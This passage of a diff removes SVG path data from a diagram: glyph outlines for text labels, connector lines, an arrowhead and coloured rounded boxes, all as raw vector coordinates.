C656.375612,249.631033 656.224571,249.120617 655.922487,248.7977 C655.620404,248.474783 655.188112,248.313325 654.625612,248.313325 C654.208946,248.313325 653.818321,248.4227 653.453737,248.64145 C653.089154,248.8602 652.828737,249.157075 652.672487,249.532075 C652.516237,249.896658 652.438112,250.401867 652.438112,251.0477 L652.438112,255.594575 L651.031862,255.594575 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M617.6881,277.78207 L617.6881,266.297695 L618.96935,266.297695 L618.96935,267.37582 C619.271433,266.948737 619.609975,266.631028 619.984975,266.422695 C620.370392,266.214362 620.833933,266.110195 621.3756,266.110195 C622.083933,266.110195 622.708933,266.292487 623.2506,266.65707 C623.792267,267.021653 624.198517,267.537278 624.46935,268.203945 C624.7506,268.860195 624.891225,269.584153 624.891225,270.37582 C624.891225,271.229987 624.734975,271.995612 624.422475,272.672695 C624.120392,273.349778 623.677683,273.870612 623.09435,274.235195 C622.521433,274.599778 621.912058,274.78207 621.266225,274.78207 C620.797475,274.78207 620.3756,274.683112 620.0006,274.485195 C619.636017,274.287278 619.333933,274.037278 619.09435,273.735195 L619.09435,277.78207 L617.6881,277.78207 Z M618.953725,270.485195 C618.953725,271.558112 619.167267,272.349778 619.59435,272.860195 C620.03185,273.370612 620.557892,273.62582 621.172475,273.62582 C621.797475,273.62582 622.333933,273.360195 622.78185,272.828945 C623.229767,272.297695 623.453725,271.479987 623.453725,270.37582 C623.453725,269.31332 623.234975,268.521653 622.797475,268.00082 C622.359975,267.46957 621.839142,267.203945 621.234975,267.203945 C620.641225,267.203945 620.109975,267.485195 619.641225,268.047695 C619.182892,268.610195 618.953725,269.422695 618.953725,270.485195 Z M626.055287,270.43832 C626.055287,268.90707 626.482371,267.771653 627.336537,267.03207 C628.055287,266.417487 628.925079,266.110195 629.945912,266.110195 C631.091746,266.110195 632.024037,266.485195 632.742787,267.235195 C633.471954,267.974778 633.836537,269.006028 633.836537,270.328945 C633.836537,271.391445 633.675079,272.229987 633.352162,272.84457 C633.029246,273.459153 632.560496,273.93832 631.945912,274.28207 C631.341746,274.615403 630.675079,274.78207 629.945912,274.78207 C628.789662,274.78207 627.852162,274.412278 627.133412,273.672695 C626.414662,272.922695 626.055287,271.84457 626.055287,270.43832 Z M627.508412,270.43832 C627.508412,271.50082 627.737579,272.297695 628.195912,272.828945 C628.664662,273.360195 629.247996,273.62582 629.945912,273.62582 C630.643829,273.62582 631.221954,273.360195 631.680287,272.828945 C632.149037,272.297695 632.383412,271.485195 632.383412,270.391445 C632.383412,269.370612 632.149037,268.59457 631.680287,268.06332 C631.221954,267.53207 630.643829,267.266445 629.945912,267.266445 C629.247996,267.266445 628.664662,267.53207 628.195912,268.06332 C627.737579,268.584153 627.508412,269.37582 627.508412,270.43832 Z M635.453725,274.59457 L635.453725,263.141445 L636.859975,263.141445 L636.859975,274.59457 L635.453725,274.59457 Z M639.039662,264.75082 L639.039662,263.141445 L640.445912,263.141445 L640.445912,264.75082 L639.039662,264.75082 Z M639.039662,274.59457 L639.039662,266.297695 L640.445912,266.297695 L640.445912,274.59457 L639.039662,274.59457 Z M648.0006,271.547695 L649.391225,271.735195 C649.234975,272.683112 648.84435,273.427903 648.21935,273.96957 C647.604767,274.511237 646.84435,274.78207 645.9381,274.78207 C644.802683,274.78207 643.886017,274.412278 643.1881,273.672695 C642.5006,272.922695 642.15685,271.854987 642.15685,270.46957 C642.15685,269.573737 642.302683,268.792487 642.59435,268.12582 C642.896433,267.448737 643.349558,266.943528 643.953725,266.610195 C644.568308,266.276862 645.229767,266.110195 645.9381,266.110195 C646.84435,266.110195 647.583933,266.339362 648.15685,266.797695 C648.729767,267.245612 649.09435,267.891445 649.2506,268.735195 L647.891225,268.93832 C647.755808,268.386237 647.521433,267.96957 647.1881,267.68832 C646.865183,267.40707 646.46935,267.266445 646.0006,267.266445 C645.292267,267.266445 644.714142,267.521653 644.266225,268.03207 C643.828725,268.53207 643.609975,269.334153 643.609975,270.43832 C643.609975,271.552903 643.823517,272.365403 644.2506,272.87582 C644.677683,273.37582 645.234975,273.62582 645.922475,273.62582 C646.474558,273.62582 646.932892,273.459153 647.297475,273.12582 C647.672475,272.78207 647.90685,272.256028 648.0006,271.547695 Z M650.53185,277.797695 L650.3756,276.46957 C650.677683,276.552903 650.943308,276.59457 651.172475,276.59457 C651.484975,276.59457 651.734975,276.542487 651.922475,276.43832 C652.109975,276.334153 652.266225,276.18832 652.391225,276.00082 C652.474558,275.865403 652.615183,275.516445 652.8131,274.953945 C652.84435,274.881028 652.886017,274.766445 652.9381,274.610195 L649.797475,266.297695 L651.3131,266.297695 L653.03185,271.09457 C653.261017,271.709153 653.464142,272.349778 653.641225,273.016445 C653.797475,272.370612 653.990183,271.740403 654.21935,271.12582 L655.984975,266.297695 L657.391225,266.297695 L654.234975,274.735195 C653.901642,275.651862 653.641225,276.28207 653.453725,276.62582 C653.203725,277.084153 652.917267,277.422695 652.59435,277.641445 C652.271433,277.860195 651.886017,277.96957 651.4381,277.96957 C651.167267,277.96957 650.865183,277.912278 650.53185,277.797695 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M670.6301,226.4404 L727.92142,205.558518" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M670.6301,226.4404 L727.92142,205.558518" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M670.6301,292.02875 L727.92142,298.989352" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M670.6301,292.02875 L727.92142,298.989352" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M589.6299,259.23456 L535.992144,259.140078" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M589.62994,259.23456 L547.992123,259.161226" id="Path" stroke="#595959" stroke-width="2" stroke-linejoin="round"></path>
-                <polygon id="Path" stroke="#595959" stroke-width="2" fill="#595959" points="547.9979 255.85776 538.91593 259.145236 547.986243 262.464663"></polygon>
-                <path d="M278.4777,376.92145 L278.4777,376.92145 C278.4777,372.129061 282.362679,368.244082 287.155038,368.244082 L372.571998,368.244082 C374.87339,368.244082 377.080512,369.158328 378.707832,370.785616 C380.335121,372.412936 381.249336,374.620058 381.249336,376.92145 L381.249336,411.629763 C381.249336,416.422121 377.364387,420.307101 372.571998,420.307101 L287.155038,420.307101 C282.362679,420.307101 278.4777,416.422122 278.4777,411.629763 L278.4777,376.92145 Z" id="Path" fill="#FEC514"></path>
-                <path d="M313.5315,389.36996 L313.734625,390.61996 C313.338792,390.703293 312.984625,390.74496 312.672125,390.74496 C312.161708,390.74496 311.765875,390.666835 311.484625,390.510585 C311.203375,390.343918 311.005458,390.130377 310.890875,389.86996 C310.776292,389.599127 310.719,389.041835 310.719,388.198085 L310.719,383.43246 L309.68775,383.43246 L309.68775,382.33871 L310.719,382.33871 L310.719,380.27621 L312.12525,379.43246 L312.12525,382.33871 L313.5315,382.33871 L313.5315,383.43246 L312.12525,383.43246 L312.12525,388.27621 C312.12525,388.68246 312.146083,388.942877 312.18775,389.05746 C312.239833,389.172043 312.323167,389.265793 312.43775,389.33871 C312.552333,389.40121 312.713792,389.43246 312.922125,389.43246 C313.078375,389.43246 313.2815,389.411627 313.5315,389.36996 Z M320.320562,389.604335 C319.799729,390.052252 319.299729,390.36996 318.820562,390.55746 C318.341396,390.734543 317.825771,390.823085 317.273687,390.823085 C316.357021,390.823085 315.653896,390.599127 315.164312,390.15121 C314.674729,389.703293 314.429937,389.135585 314.429937,388.448085 C314.429937,388.041835 314.523687,387.672043 314.711187,387.33871 C314.898687,386.99496 315.138271,386.724127 315.429937,386.52621 C315.732021,386.317877 316.070562,386.161627 316.445562,386.05746 C316.726812,385.984543 317.143479,385.916835 317.695562,385.854335 C318.830979,385.718918 319.669521,385.55746 320.211187,385.36996 C320.211187,385.172043 320.211187,385.047043 320.211187,384.99496 C320.211187,384.422043 320.080979,384.021002 319.820562,383.791835 C319.455979,383.468918 318.919521,383.30746 318.211187,383.30746 C317.554937,383.30746 317.065354,383.427252 316.742437,383.666835 C316.429937,383.896002 316.200771,384.302252 316.054937,384.885585 L314.679937,384.698085 C314.804937,384.114752 315.008062,383.640793 315.289312,383.27621 C315.580979,382.911627 315.997646,382.635585 316.539312,382.448085 C317.080979,382.250168 317.705979,382.15121 318.414312,382.15121 C319.122646,382.15121 319.695562,382.234543 320.133062,382.40121 C320.580979,382.567877 320.909104,382.77621 321.117437,383.02621 C321.325771,383.27621 321.471604,383.593918 321.554937,383.979335 C321.607021,384.218918 321.633062,384.65121 321.633062,385.27621 L321.633062,387.15121 C321.633062,388.46371 321.659104,389.291835 321.711187,389.635585 C321.773687,389.979335 321.893479,390.312668 322.070562,390.635585 L320.601812,390.635585 C320.455979,390.343918 320.362229,390.000168 320.320562,389.604335 Z M320.211187,386.46371 C319.700771,386.672043 318.935146,386.849127 317.914312,386.99496 C317.330979,387.078293 316.919521,387.172043 316.679937,387.27621 C316.440354,387.380377 316.252854,387.536627 316.117437,387.74496 C315.992437,387.942877 315.929937,388.161627 315.929937,388.40121 C315.929937,388.77621 316.070562,389.08871 316.351812,389.33871 C316.643479,389.58871 317.060146,389.71371 317.601812,389.71371 C318.143479,389.71371 318.622646,389.599127 319.039312,389.36996 C319.466396,389.130377 319.778896,388.802252 319.976812,388.385585 C320.133062,388.073085 320.211187,387.604335 320.211187,386.979335 L320.211187,386.46371 Z M323.797125,390.635585 L323.797125,382.33871 L325.06275,382.33871 L325.06275,383.58871 C325.385667,383.005377 325.682542,382.61996 325.953375,382.43246 C326.224208,382.24496 326.526292,382.15121 326.859625,382.15121 C327.328375,382.15121 327.807542,382.302252 328.297125,382.604335 L327.81275,383.90121 C327.469,383.703293 327.12525,383.604335 326.7815,383.604335 C326.479417,383.604335 326.203375,383.698085 325.953375,383.885585 C325.713792,384.062668 325.541917,384.317877 325.43775,384.65121 C325.2815,385.15121 325.203375,385.698085 325.203375,386.291835 L325.203375,390.635585 L323.797125,390.635585 Z M328.87525,391.323085 L330.25025,391.52621 C330.302333,391.953293 330.458583,392.260585 330.719,392.448085 C331.073167,392.708502 331.552333,392.83871 332.1565,392.83871 C332.802333,392.83871 333.302333,392.708502 333.6565,392.448085 C334.010667,392.187668 334.25025,391.823085 334.37525,391.354335 C334.448167,391.073085 334.484625,390.468918 334.484625,389.541835 C333.870042,390.271002 333.104417,390.635585 332.18775,390.635585 C331.041917,390.635585 330.1565,390.224127 329.5315,389.40121 C328.9065,388.578293 328.594,387.58871 328.594,386.43246 C328.594,385.640793 328.734625,384.911627 329.015875,384.24496 C329.307542,383.578293 329.724208,383.062668 330.265875,382.698085 C330.817958,382.333502 331.458583,382.15121 332.18775,382.15121 C333.166917,382.15121 333.974208,382.547043 334.609625,383.33871 L334.609625,382.33871 L335.9065,382.33871 L335.9065,389.510585 C335.9065,390.802252 335.776292,391.718918 335.515875,392.260585 C335.255458,392.802252 334.838792,393.229335 334.265875,393.541835 C333.692958,393.854335 332.989833,394.010585 332.1565,394.010585 C331.166917,394.010585 330.364833,393.786627 329.75025,393.33871 C329.146083,392.890793 328.854417,392.218918 328.87525,391.323085 Z M330.047125,386.33871 C330.047125,387.422043 330.260667,388.21371 330.68775,388.71371 C331.12525,389.21371 331.666917,389.46371 332.31275,389.46371 C332.958583,389.46371 333.50025,389.218918 333.93775,388.729335 C334.37525,388.229335 334.594,387.448085 334.594,386.385585 C334.594,385.364752 334.370042,384.599127 333.922125,384.08871 C333.474208,383.567877 332.932542,383.30746 332.297125,383.30746 C331.672125,383.30746 331.140875,383.562668 330.703375,384.073085 C330.265875,384.583502 330.047125,385.33871 330.047125,386.33871 Z M343.711187,387.96371 L345.164312,388.135585 C344.935146,388.989752 344.508062,389.65121 343.883062,390.11996 C343.268479,390.58871 342.482021,390.823085 341.523687,390.823085 C340.304937,390.823085 339.341396,390.448085 338.633062,389.698085 C337.924729,388.948085 337.570562,387.90121 337.570562,386.55746 C337.570562,385.161627 337.929937,384.078293 338.648687,383.30746 C339.367437,382.536627 340.299729,382.15121 341.445562,382.15121 C342.549729,382.15121 343.450771,382.531418 344.148687,383.291835 C344.857021,384.041835 345.211187,385.099127 345.211187,386.46371 C345.211187,386.547043 345.211187,386.672043 345.211187,386.83871 L339.023687,386.83871 C339.075771,387.755377 339.330979,388.458502 339.789312,388.948085 C340.258062,389.427252 340.836187,389.666835 341.523687,389.666835 C342.044521,389.666835 342.487229,389.531418 342.851812,389.260585 C343.216396,388.989752 343.502854,388.55746 343.711187,387.96371 Z M339.101812,385.68246 L343.726812,385.68246 C343.664312,384.984543 343.487229,384.46371 343.195562,384.11996 C342.747646,383.578293 342.169521,383.30746 341.461187,383.30746 C340.815354,383.30746 340.268479,383.52621 339.820562,383.96371 C339.383062,384.390793 339.143479,384.96371 339.101812,385.68246 Z M350.00025,389.36996 L350.203375,390.61996 C349.807542,390.703293 349.453375,390.74496 349.140875,390.74496 C348.630458,390.74496 348.234625,390.666835 347.953375,390.510585 C347.672125,390.343918 347.474208,390.130377 347.359625,389.86996 C347.245042,389.599127 347.18775,389.041835 347.18775,388.198085 L347.18775,383.43246 L346.1565,383.43246 L346.1565,382.33871 L347.18775,382.33871 L347.18775,380.27621 L348.594,379.43246 L348.594,382.33871 L350.00025,382.33871 L350.00025,383.43246 L348.594,383.43246 L348.594,388.27621 C348.594,388.68246 348.614833,388.942877 348.6565,389.05746 C348.708583,389.172043 348.791917,389.265793 348.9065,389.33871 C349.021083,389.40121 349.182542,389.43246 349.390875,389.43246 C349.547125,389.43246 349.75025,389.411627 350.00025,389.36996 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M311.80103,399.79184 L311.80103,398.182465 L313.20728,398.182465 L313.20728,399.79184 L311.80103,399.79184 Z M311.80103,409.63559 L311.80103,401.338715 L313.20728,401.338715 L313.20728,409.63559 L311.80103,409.63559 Z M315.355718,409.63559 L315.355718,401.338715 L316.621343,401.338715 L316.621343,402.51059 C317.225509,401.60434 318.105718,401.151215 319.261968,401.151215 C319.761968,401.151215 320.220301,401.239757 320.636968,401.41684 C321.053634,401.593923 321.366134,401.828298 321.574468,402.119965 C321.782801,402.411632 321.928634,402.76059 322.011968,403.16684 C322.064051,403.427257 322.090093,403.880382 322.090093,404.526215 L322.090093,409.63559 L320.683843,409.63559 L320.683843,404.588715 C320.683843,404.015798 320.626551,403.588715 320.511968,403.307465 C320.407801,403.015798 320.215093,402.786632 319.933843,402.619965 C319.663009,402.453298 319.340093,402.369965 318.965093,402.369965 C318.360926,402.369965 317.840093,402.562673 317.402593,402.94809 C316.975509,403.32309 316.761968,404.04184 316.761968,405.10434 L316.761968,409.63559 L315.355718,409.63559 Z M329.629155,409.63559 L329.629155,408.588715 C329.108322,409.411632 328.337488,409.82309 327.316655,409.82309 C326.649988,409.82309 326.040613,409.640798 325.48853,409.276215 C324.936447,408.911632 324.504155,408.401215 324.191655,407.744965 C323.889572,407.088715 323.73853,406.338715 323.73853,405.494965 C323.73853,404.661632 323.873947,403.911632 324.14478,403.244965 C324.42603,402.567882 324.842697,402.052257 325.39478,401.69809 C325.946863,401.333507 326.566655,401.151215 327.254155,401.151215 C327.754155,401.151215 328.196863,401.255382 328.58228,401.463715 C328.978113,401.672048 329.295822,401.94809 329.535405,402.29184 L329.535405,398.182465 L330.941655,398.182465 L330.941655,409.63559 L329.629155,409.63559 Z M325.191655,405.494965 C325.191655,406.557465 325.415613,407.35434 325.86353,407.88559 C326.311447,408.406423 326.837488,408.66684 327.441655,408.66684 C328.056238,408.66684 328.577072,408.41684 329.004155,407.91684 C329.441655,407.406423 329.660405,406.63559 329.660405,405.60434 C329.660405,404.468923 329.441655,403.63559 329.004155,403.10434 C328.566655,402.57309 328.024988,402.307465 327.379155,402.307465 C326.754155,402.307465 326.233322,402.562673 325.816655,403.07309 C325.399988,403.583507 325.191655,404.390798 325.191655,405.494965 Z M338.824468,406.963715 L340.277593,407.13559 C340.048426,407.989757 339.621343,408.651215 338.996343,409.119965 C338.381759,409.588715 337.595301,409.82309 336.636968,409.82309 C335.418218,409.82309 334.454676,409.44809 333.746343,408.69809 C333.038009,407.94809 332.683843,406.901215 332.683843,405.557465 C332.683843,404.161632 333.043218,403.078298 333.761968,402.307465 C334.480718,401.536632 335.413009,401.151215 336.558843,401.151215 C337.663009,401.151215 338.564051,401.531423 339.261968,402.29184 C339.970301,403.04184 340.324468,404.099132 340.324468,405.463715 C340.324468,405.547048 340.324468,405.672048 340.324468,405.838715 L334.136968,405.838715 C334.189051,406.755382 334.444259,407.458507 334.902593,407.94809 C335.371343,408.427257 335.949468,408.66684 336.636968,408.66684 C337.157801,408.66684 337.600509,408.531423 337.965093,408.26059 C338.329676,407.989757 338.616134,407.557465 338.824468,406.963715 Z M334.215093,404.682465 L338.840093,404.682465 C338.777593,403.984548 338.600509,403.463715 338.308843,403.119965 C337.860926,402.578298 337.282801,402.307465 336.574468,402.307465 C335.928634,402.307465 335.381759,402.526215 334.933843,402.963715 C334.496343,403.390798 334.256759,403.963715 334.215093,404.682465 Z M341.11353,409.63559 L344.14478,405.32309 L341.33228,401.338715 L343.097905,401.338715 L344.36353,403.276215 C344.603113,403.651215 344.795822,403.963715 344.941655,404.213715 C345.170822,403.869965 345.384363,403.562673 345.58228,403.29184 L346.972905,401.338715 L348.660405,401.338715 L345.785405,405.244965 L348.879155,409.63559 L347.14478,409.63559 L345.441655,407.057465 L344.98853,406.35434 L342.816655,409.63559 L341.11353,409.63559 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M278.4777,212.84286 L278.4777,212.84286 C278.4777,203.382792 286.146584,195.713908 295.606637,195.713908 L364.120397,195.713908 L364.120397,195.713908 C368.663274,195.713908 373.020086,197.518565 376.232397,200.730861 C379.444707,203.943156 381.249334,208.299983 381.249334,212.84286 L381.249334,320.34872 C381.249334,329.808803 373.58045,337.477687 364.120397,337.477687 L295.606637,337.477687 C286.146584,337.477687 278.4777,329.808803 278.4777,320.34872 L278.4777,212.84286 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M278.4777,212.84286 L278.4777,212.84286 C278.4777,203.382792 286.146584,195.713908 295.606637,195.713908 L364.120397,195.713908 L364.120397,195.713908 C368.663274,195.713908 373.020086,197.518565 376.232397,200.730861 C379.444707,203.943156 381.249334,208.299983 381.249334,212.84286 L381.249334,320.34872 C381.249334,329.808803 373.58045,337.477687 364.120397,337.477687 L295.606637,337.477687 C286.146584,337.477687 278.4777,329.808803 278.4777,320.34872 L278.4777,212.84286 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M311.4026,225.0908 L311.4026,224.043925 C310.881767,224.866842 310.110933,225.2783 309.0901,225.2783 C308.423433,225.2783 307.814058,225.096008 307.261975,224.731425 C306.709892,224.366842 306.2776,223.856425 305.9651,223.200175 C305.663017,222.543925 305.511975,221.793925 305.511975,220.950175 C305.511975,220.116842 305.647392,219.366842 305.918225,218.700175 C306.199475,218.023092 306.616142,217.507467 307.168225,217.1533 C307.720308,216.788717 308.3401,216.606425 309.0276,216.606425 C309.5276,216.606425 309.970308,216.710592 310.355725,216.918925 C310.751558,217.127258 311.069267,217.4033 311.30885,217.74705 L311.30885,213.637675 L312.7151,213.637675 L312.7151,225.0908 L311.4026,225.0908 Z M306.9651,220.950175 C306.9651,222.012675 307.189058,222.80955 307.636975,223.3408 C308.084892,223.861633 308.610933,224.12205 309.2151,224.12205 C309.829683,224.12205 310.350517,223.87205 310.7776,223.37205 C311.2151,222.861633 311.43385,222.0908 311.43385,221.05955 C311.43385,219.924133 311.2151,219.0908 310.7776,218.55955 C310.3401,218.0283 309.798433,217.762675 309.1526,217.762675 C308.5276,217.762675 308.006767,218.017883 307.5901,218.5283 C307.173433,219.038717 306.9651,219.846008 306.9651,220.950175 Z M314.926038,215.24705 L314.926038,213.637675 L316.332288,213.637675 L316.332288,215.24705 L314.926038,215.24705 Z M314.926038,225.0908 L314.926038,216.793925 L316.332288,216.793925 L316.332288,225.0908 L314.926038,225.0908 Z M317.918225,222.606425 L319.30885,222.387675 C319.381767,222.950175 319.595308,223.382467 319.949475,223.68455 C320.314058,223.976217 320.814058,224.12205 321.449475,224.12205 C322.095308,224.12205 322.574475,223.991842 322.886975,223.731425 C323.199475,223.460592 323.355725,223.148092 323.355725,222.793925 C323.355725,222.481425 323.220308,222.231425 322.949475,222.043925 C322.751558,221.918925 322.272392,221.762675 321.511975,221.575175 C320.480725,221.314758 319.761975,221.0908 319.355725,220.9033 C318.959892,220.705383 318.657808,220.439758 318.449475,220.106425 C318.251558,219.773092 318.1526,219.4033 318.1526,218.99705 C318.1526,218.62205 318.235933,218.2783 318.4026,217.9658 C318.569267,217.6533 318.798433,217.392883 319.0901,217.18455 C319.30885,217.017883 319.605725,216.882467 319.980725,216.7783 C320.366142,216.663717 320.772392,216.606425 321.199475,216.606425 C321.855725,216.606425 322.428642,216.700175 322.918225,216.887675 C323.407808,217.075175 323.767183,217.330383 323.99635,217.6533 C324.235933,217.9658 324.4026,218.392883 324.49635,218.93455 L323.12135,219.12205 C323.05885,218.694967 322.876558,218.361633 322.574475,218.12205 C322.272392,217.882467 321.850517,217.762675 321.30885,217.762675 C320.663017,217.762675 320.199475,217.87205 319.918225,218.0908 C319.647392,218.299133 319.511975,218.543925 319.511975,218.825175 C319.511975,219.012675 319.569267,219.179342 319.68385,219.325175 C319.798433,219.471008 319.975517,219.596008 320.2151,219.700175 C320.360933,219.752258 320.7776,219.87205 321.4651,220.05955 C322.454683,220.319967 323.147392,220.538717 323.543225,220.7158 C323.939058,220.882467 324.24635,221.127258 324.4651,221.450175 C324.694267,221.773092 324.80885,222.174133 324.80885,222.6533 C324.80885,223.12205 324.668225,223.564758 324.386975,223.981425 C324.116142,224.387675 323.720308,224.705383 323.199475,224.93455 C322.689058,225.163717 322.110933,225.2783 321.4651,225.2783 C320.381767,225.2783 319.55885,225.054342 318.99635,224.606425 C318.43385,224.158508 318.074475,223.491842 317.918225,222.606425 Z M325.918225,222.606425 L327.30885,222.387675 C327.381767,222.950175 327.595308,223.382467 327.949475,223.68455 C328.314058,223.976217 328.814058,224.12205 329.449475,224.12205 C330.095308,224.12205 330.574475,223.991842 330.886975,223.731425 C331.199475,223.460592 331.355725,223.148092 331.355725,222.793925 C331.355725,222.481425 331.220308,222.231425 330.949475,222.043925 C330.751558,221.918925 330.272392,221.762675 329.511975,221.575175 C328.480725,221.314758 327.761975,221.0908 327.355725,220.9033 C326.959892,220.705383 326.657808,220.439758 326.449475,220.106425 C326.251558,219.773092 326.1526,219.4033 326.1526,218.99705 C326.1526,218.62205 326.235933,218.2783 326.4026,217.9658 C326.569267,217.6533 326.798433,217.392883 327.0901,217.18455 C327.30885,217.017883 327.605725,216.882467 327.980725,216.7783 C328.366142,216.663717 328.772392,216.606425 329.199475,216.606425 C329.855725,216.606425 330.428642,216.700175 330.918225,216.887675 C331.407808,217.075175 331.767183,217.330383 331.99635,217.6533 C332.235933,217.9658 332.4026,218.392883 332.49635,218.93455 L331.12135,219.12205 C331.05885,218.694967 330.876558,218.361633 330.574475,218.12205 C330.272392,217.882467 329.850517,217.762675 329.30885,217.762675 C328.663017,217.762675 328.199475,217.87205 327.918225,218.0908 C327.647392,218.299133 327.511975,218.543925 327.511975,218.825175 C327.511975,219.012675 327.569267,219.179342 327.68385,219.325175 C327.798433,219.471008 327.975517,219.596008 328.2151,219.700175 C328.360933,219.752258 328.7776,219.87205 329.4651,220.05955 C330.454683,220.319967 331.147392,220.538717 331.543225,220.7158 C331.939058,220.882467 332.24635,221.127258 332.4651,221.450175 C332.694267,221.773092 332.80885,222.174133 332.80885,222.6533 C332.80885,223.12205 332.668225,223.564758 332.386975,223.981425 C332.116142,224.387675 331.720308,224.705383 331.199475,224.93455 C330.689058,225.163717 330.110933,225.2783 329.4651,225.2783 C328.381767,225.2783 327.55885,225.054342 326.99635,224.606425 C326.43385,224.158508 326.074475,223.491842 325.918225,222.606425 Z M340.1526,222.418925 L341.605725,222.5908 C341.376558,223.444967 340.949475,224.106425 340.324475,224.575175 C339.709892,225.043925 338.923433,225.2783 337.9651,225.2783 C336.74635,225.2783 335.782808,224.9033 335.074475,224.1533 C334.366142,223.4033 334.011975,222.356425 334.011975,221.012675 C334.011975,219.616842 334.37135,218.533508 335.0901,217.762675 C335.80885,216.991842 336.741142,216.606425 337.886975,216.606425 C338.991142,216.606425 339.892183,216.986633 340.5901,217.74705 C341.298433,218.49705 341.6526,219.554342 341.6526,220.918925 C341.6526,221.002258 341.6526,221.127258 341.6526,221.293925 L335.4651,221.293925 C335.517183,222.210592 335.772392,222.913717 336.230725,223.4033 C336.699475,223.882467 337.2776,224.12205 337.9651,224.12205 C338.485933,224.12205 338.928642,223.986633 339.293225,223.7158 C339.657808,223.444967 339.944267,223.012675 340.1526,222.418925 Z M335.543225,220.137675 L340.168225,220.137675 C340.105725,219.439758 339.928642,218.918925 339.636975,218.575175 C339.189058,218.033508 338.610933,217.762675 337.9026,217.762675 C337.256767,217.762675 336.709892,217.981425 336.261975,218.418925 C335.824475,218.846008 335.584892,219.418925 335.543225,220.137675 Z M348.785413,222.043925 L350.176038,222.231425 C350.019788,223.179342 349.629163,223.924133 349.004163,224.4658 C348.389579,225.007467 347.629163,225.2783 346.722913,225.2783 C345.587496,225.2783 344.670829,224.908508 343.972913,224.168925 C343.285413,223.418925 342.941663,222.351217 342.941663,220.9658 C342.941663,220.069967 343.087496,219.288717 343.379163,218.62205 C343.681246,217.944967 344.134371,217.439758 344.738538,217.106425 C345.353121,216.773092 346.014579,216.606425 346.722913,216.606425 C347.629163,216.606425 348.368746,216.835592 348.941663,217.293925 C349.514579,217.741842 349.879163,218.387675 350.035413,219.231425 L348.676038,219.43455 C348.540621,218.882467 348.306246,218.4658 347.972913,218.18455 C347.649996,217.9033 347.254163,217.762675 346.785413,217.762675 C346.077079,217.762675 345.498954,218.017883 345.051038,218.5283 C344.613538,219.0283 344.394788,219.830383 344.394788,220.93455 C344.394788,222.049133 344.608329,222.861633 345.035413,223.37205 C345.462496,223.87205 346.019788,224.12205 346.707288,224.12205 C347.259371,224.12205 347.717704,223.955383 348.082288,223.62205 C348.457288,223.2783 348.691663,222.752258 348.785413,222.043925 Z M354.441663,223.825175 L354.644788,225.075175 C354.248954,225.158508 353.894788,225.200175 353.582288,225.200175 C353.071871,225.200175 352.676038,225.12205 352.394788,224.9658 C352.113538,224.799133 351.915621,224.585592 351.801038,224.325175 C351.686454,224.054342 351.629163,223.49705 351.629163,222.6533 L351.629163,217.887675 L350.597913,217.887675 L350.597913,216.793925 L351.629163,216.793925 L351.629163,214.731425 L353.035413,213.887675 L353.035413,216.793925 L354.441663,216.793925 L354.441663,217.887675 L353.035413,217.887675 L353.035413,222.731425 C353.035413,223.137675 353.056246,223.398092 353.097913,223.512675 C353.149996,223.627258 353.233329,223.721008 353.347913,223.793925 C353.462496,223.856425 353.623954,223.887675 353.832288,223.887675 C353.988538,223.887675 354.191663,223.866842 354.441663,223.825175 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M311.80884,260.4502 L313.99634,260.809575 C313.71509,261.611658 313.272382,262.226242 312.668215,262.653325 C312.064048,263.069992 311.303632,263.278325 310.386965,263.278325 C308.949465,263.278325 307.881757,262.804367 307.18384,261.85645 C306.642173,261.10645 306.37134,260.153325 306.37134,258.997075 C306.37134,257.622075 306.730715,256.549153 307.449465,255.77831 C308.168215,254.99706 309.074465,254.606435 310.168215,254.606435 C311.407798,254.606435 312.381757,255.012685 313.09009,255.825185 C313.80884,256.637695 314.15259,257.8877 314.12134,259.5752 L308.62134,259.5752 C308.631757,260.221033 308.803632,260.726242 309.136965,261.090825 C309.480715,261.455408 309.907798,261.6377 310.418215,261.6377 C310.761965,261.6377 311.048423,261.54395 311.27759,261.35645 C311.517173,261.16895 311.694257,260.866867 311.80884,260.4502 Z M311.93384,258.23145 C311.923423,257.596033 311.761965,257.111658 311.449465,256.778325 C311.136965,256.444992 310.756757,256.278325 310.30884,256.278325 C309.829673,256.278325 309.43384,256.455408 309.12134,256.809575 C308.80884,257.153325 308.65259,257.627283 308.65259,258.23145 L311.93384,258.23145 Z M323.457277,263.090825 L321.254152,263.090825 L321.254152,258.85645 C321.254152,257.960617 321.207277,257.382492 321.113527,257.122075 C321.019777,256.851242 320.868736,256.642908 320.660402,256.497075 C320.452069,256.351242 320.196861,256.278325 319.894777,256.278325 C319.519777,256.278325 319.181236,256.382492 318.879152,256.590825 C318.577069,256.799158 318.368736,257.0752 318.254152,257.41895 C318.139569,257.7627 318.082277,258.398117 318.082277,259.3252 L318.082277,263.090825 L315.894777,263.090825 L315.894777,254.793935 L317.926027,254.793935 L317.926027,256.0127 C318.655194,255.07519 319.566652,254.606435 320.660402,254.606435 C321.149986,254.606435 321.592694,254.694977 321.988527,254.87206 C322.394777,255.038727 322.696861,255.257477 322.894777,255.52831 C323.103111,255.799143 323.248944,256.10644 323.332277,256.4502 C323.415611,256.79395 323.457277,257.288742 323.457277,257.934575 L323.457277,263.090825 L323.457277,263.090825 Z M327.77759,263.090825 L325.59009,263.090825 L325.59009,254.793935 L327.62134,254.793935 L327.62134,255.96581 C327.975507,255.413727 328.288007,255.049143 328.55884,254.87206 C328.84009,254.694977 329.157798,254.606435 329.511965,254.606435 C330.011965,254.606435 330.49634,254.741852 330.96509,255.012685 L330.27759,256.934575 C329.913007,256.694992 329.569257,256.5752 329.24634,256.5752 C328.944257,256.5752 328.68384,256.658534 328.46509,256.8252 C328.256757,256.991867 328.09009,257.299159 327.96509,257.747075 C327.84009,258.184575 327.77759,259.111659 